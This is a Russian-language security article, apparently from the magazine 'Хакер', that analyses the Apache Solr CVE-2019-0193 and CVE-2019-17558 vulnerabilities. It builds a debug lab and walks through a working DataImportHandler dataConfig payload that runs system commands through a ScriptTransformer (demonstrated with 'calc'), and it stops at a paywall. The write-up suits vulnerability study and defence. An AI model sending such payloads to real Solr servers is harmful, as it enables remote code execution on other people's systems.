Содержание статьи
Solr написан на Java и основан на поисковом движке Apache Lucene. Его применяют для поиска по текстам, подсветки результатов, фасетного поиска, динамической кластеризации и прочего. Solr хорошо масштабируется и успел стать одним из самых популярных поисковых движков.
Первая уязвимость — CVE-2019-17558. Она существует благодаря возможности перезаписи конфигурации, что позволяет использовать кастомные шаблоны, в которых можно выполнять произвольные системные команды. Баг затрагивает все версии Apache Solr, начиная с 5.0.0 и заканчивая 8.3.1.
Вторая уязвимость — CVE-2019-0193. Она находится в модуле DataImportHandler. Злоумышленник может передать полезную нагрузку в параметре dataConfig
при помощи запроса GET к функции импорта конфигурации БД. Обнаружил баг исследователь из Veracode Михаил Степанкин. Уязвимость затрагивает все версии Apache Solr до 8.2.0.
Стенд
Для начала поднимем стенд, на котором будем препарировать баги. Чтобы сэкономить время, возьмем версию, которая уязвима перед обоими эксплоитами, — 8.1.1. Здесь, как обычно, два пути. Один — использовать готовый контейнер Docker, он подойдет, если ты не планируешь морочиться с отладкой и копаться во внутренностях Solr. Для этого воспользуемся репозиторием vulhub. Все, что требуется, — это пара файлов docker-compose.xml
: для CVE-2019-0193 и для CVE-2019-17558. Сохраняем их в отдельные папки и запускаем с помощью команды
docker-compose up -d
Теперь вернемся ко второму варианту стенда (я буду использовать в статье именно его). На самом деле он не сильно сложнее. Сначала скачиваем с официального сайта необходимую версию Solr — solr-8.1.1-src.tgz. Распаковываем архив и переходим в директорию bin
. Теперь, чтобы запустить сервер, достаточно выполнить скрипт solr.cmd
для Windows или solr
для Linux и macOS.
solr start
Сервер стартует на порте 8983.
Однако нам еще понадобится возможность отладки, поэтому пока притормозим Solr.
solr stop -all
Для дебага я буду использовать IntelliJ IDEA. Для начала воспользуемся утилитой Ant, чтобы сгенерировать необходимое окружение.
ant ivy-bootstrap
ant idea
Переходим в папку solr
и выполняем еще одну команду.
ant server
После того как команды успешно отработают, можно открывать проект в IDEA. Теперь укажем параметры запуска сервера. Для этого добавим новую конфигурацию удаленной отладки. Укажем порт и выберем server
в качестве module classpath
.
Обрати внимание на строку Command line arguments for remote JVM. Ее нужно добавить в качестве аргумента в команду для запуска сервера.
solr start -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983"
После этого запускаем отладчик, и стенд готов.
Осталось только создать два тестовых экземпляра ядра (core), чтобы анализировать уязвимости. Для бага в DataImportHandler
я буду использовать конфиг example-DIH
.
solr create_core -c test -d ../example/example-DIH/solr/db
А для бага в обработчике шаблонов достаточно дефолтного конфига.
solr create_core -c vel
Переходим к обзору уязвимостей, начну в хронологическом порядке.
Уязвимость в DataImportHandler
Во многих поисковых приложениях контент для индексирования хранится в структурированном хранилище данных, например в реляционной СУБД. Data Import Handler (или DIH) предоставляет механизм для импорта содержимого из такого хранилища данных и его индексации. В нем есть функция, которая отправляет всю конфигурацию БД одним запросом с параметром dataConfig
. Режим дебага DIH позволяет удобно отлаживать такую конфигурацию.
Но есть и подводные камни — DIH-конфигурация может содержать скрипты, а это потенциальный вектор для атаки. Точнее, это прямой путь к выполнению произвольного кода! 🙂 Если заглянешь в документацию к ScriptTransfer, то увидишь, что, хотя функции-трансформаторы и пишутся по дефолту на JavaScript, в них можно использовать вставки кода на Java.
Также обрати внимание на то, как вызывается созданный трансформер.
Используя тривиальный метод getRuntime().exec()
, можно накидать тело функции rce
, которая будет выполнять любой код.
<dataConfig>
<script><![CDATA[
function rce() {
java.lang.Runtime.getRuntime().exec("calc");
}
]]></script>
Остается вопрос о том, в каком контексте эту функцию можно вызвать. Для этих целей нам понадобится источник валидных данных. Так как возиться с поднятием своей БД совсем не хочется, заглянем еще раз в документацию. К нашему счастью, DataImportHandler
поддерживает целую вязанку разных источников. Например, URLDataSource, который получает данные из определенного URL.
<dataConfig>
<dataSource type="URLDataSource" />
<script><![CDATA[
function rce() {
java.lang.Runtime.getRuntime().exec("calc");
}
]]></script>
В качестве обработчика данных я буду использовать обычный PlainTextEntityProcessor, который просто читает все содержимое в поле plainText
. Но это абсолютно не важно, главное — использовать в качестве трансформера нашу функцию.
<dataConfig>
<dataSource type="URLDataSource" />
<script><![CDATA[
function rce() {
java.lang.Runtime.getRuntime().exec("calc");
}
]]></script>
<document>
<entity processor="PlainTextEntityProcessor" name="x" url="http://abc.com/" transformer="script:rce" />
</document>
</dataConfig>
Здесь я получаю все содержимое страницы http://abc.com/
и затем применяю к нему функцию rce
.
Включим режим отладки конфигурации DIH и отправим полученный пейлоад. Если сейчас перехватить запрос, то он будет передан в параметре dataConfig
.
Установим в отладчике брейк-пойнт на вызов метода инициализации ScriptTransformer
.
org.apache.solr.handler.dataimport.ScriptTransformer#initEngine
И видим, что по умолчанию для трансформеров используется JavaScript. А движок, который выполняет парсинг кода на JS, — Nashorn.
/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
65: private void initEngine(Context context) {
66: String scriptText = context.getScript();
67: String scriptLang = context.getScriptLanguage();
...
72: ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();
73: ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang);
...
86: try {
87: scriptEngine.eval(scriptText);
Из документации можно узнать, что Nashorn позволяет обращаться к стандартным пакетам и классам Java.
Далее выполнение кода переходит в
org.apache.solr.handler.dataimport.ScriptTransformer#transformRow
Здесь и вызывается наша функция.
/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
48: @Override
49: public Object transformRow(Map<String, Object> row, Context context) {
50: try {
51: if (engine == null)
52: initEngine(context);
53: if (engine == null)
54: return row;
55: return engine.invokeFunction(functionName, new Object[]{row, context});
Таким образом, можно выполнить любые команды в системе. Это поведение, разумеется, открывает серьезную брешь в безопасности, поэтому с версии 8.2.0 Apache Solr по дефолту не позволяет использовать загрузку напрямую через веб-интерфейс из параметра dataConfig
. Чтобы такой способ заработал, теперь нужно установить настройку enable.dih.dataConfigParam
в true
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»